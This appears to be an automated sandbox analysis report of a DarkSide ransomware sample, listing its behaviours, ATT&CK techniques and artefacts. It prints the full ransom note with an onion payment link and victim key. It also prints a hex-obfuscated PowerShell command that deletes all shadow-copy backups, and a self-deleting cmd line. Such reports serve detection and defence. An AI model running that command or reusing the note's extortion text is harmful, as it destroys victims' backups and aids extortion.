Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
12/08/2026, 12:27
General
- Target 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
- Size 5.9MB
- Sample260812-pm6lkstyhs
- SHA256 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
Malware Config
Extracted
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C:\Users\Admin\README.66a7ee6d.TXT
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darkside
- ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
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http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
- Family: DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
- Renames multiple (168) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- VMProtect packed file 6 IoCs
Detects executables packed with VMProtect commercial packer.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Control Panel 1 IoCs
- Modifies registry class 5 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"1⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL2⤵
- System Location Discovery: System Language Discovery
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_2g03hvzi.qwu.ps1
README.66a7ee6d.TXT
memory/2388-23-0x0000013E556D0000-0x0000013E556E0000-memory.dmp
memory/2388-32-0x0000013E556D0000-0x0000013E556E0000-memory.dmp
memory/2388-24-0x0000013E58170000-0x0000013E58192000-memory.dmp
memory/2388-22-0x0000013E556D0000-0x0000013E556E0000-memory.dmp
memory/4276-7-0x0000000000800000-0x0000000000801000-memory.dmp
memory/4276-8-0x0000000000810000-0x0000000000811000-memory.dmp
memory/4276-5-0x00000000007E0000-0x00000000007E1000-memory.dmp
memory/4276-4-0x00000000007D0000-0x00000000007D1000-memory.dmp
memory/4276-3-0x00000000007C0000-0x00000000007C1000-memory.dmp
memory/4276-2-0x00000000005B0000-0x00000000005B1000-memory.dmp
memory/4276-1-0x00000000005A0000-0x00000000005A1000-memory.dmp
memory/4276-17-0x0000000000C40000-0x0000000000C41000-memory.dmp
memory/4276-18-0x0000000000CB0000-0x0000000001658000-memory.dmp
memory/4276-16-0x0000000000C30000-0x0000000000C31000-memory.dmp
memory/4276-20-0x0000000000CB0000-0x0000000001658000-memory.dmp
memory/4276-15-0x0000000000880000-0x0000000000881000-memory.dmp
memory/4276-0-0x0000000000CC3000-0x0000000001078000-memory.dmp
memory/4276-6-0x00000000007F0000-0x00000000007F1000-memory.dmp
memory/4276-9-0x0000000000820000-0x0000000000821000-memory.dmp
memory/4276-10-0x0000000000830000-0x0000000000831000-memory.dmp
memory/4276-11-0x0000000000850000-0x0000000000851000-memory.dmp
memory/4276-12-0x0000000000860000-0x0000000000861000-memory.dmp
memory/4276-43-0x0000000000CC3000-0x0000000001078000-memory.dmp
memory/4276-45-0x0000000000CB0000-0x0000000001658000-memory.dmp
memory/4276-14-0x0000000000CB0000-0x0000000001658000-memory.dmp
memory/4276-47-0x0000000000CB0000-0x0000000001658000-memory.dmp
memory/4276-13-0x0000000000870000-0x0000000000871000-memory.dmp
memory/4276-240-0x0000000000CC3000-0x0000000001078000-memory.dmp
memory/4276-241-0x0000000000CB0000-0x0000000001658000-memory.dmp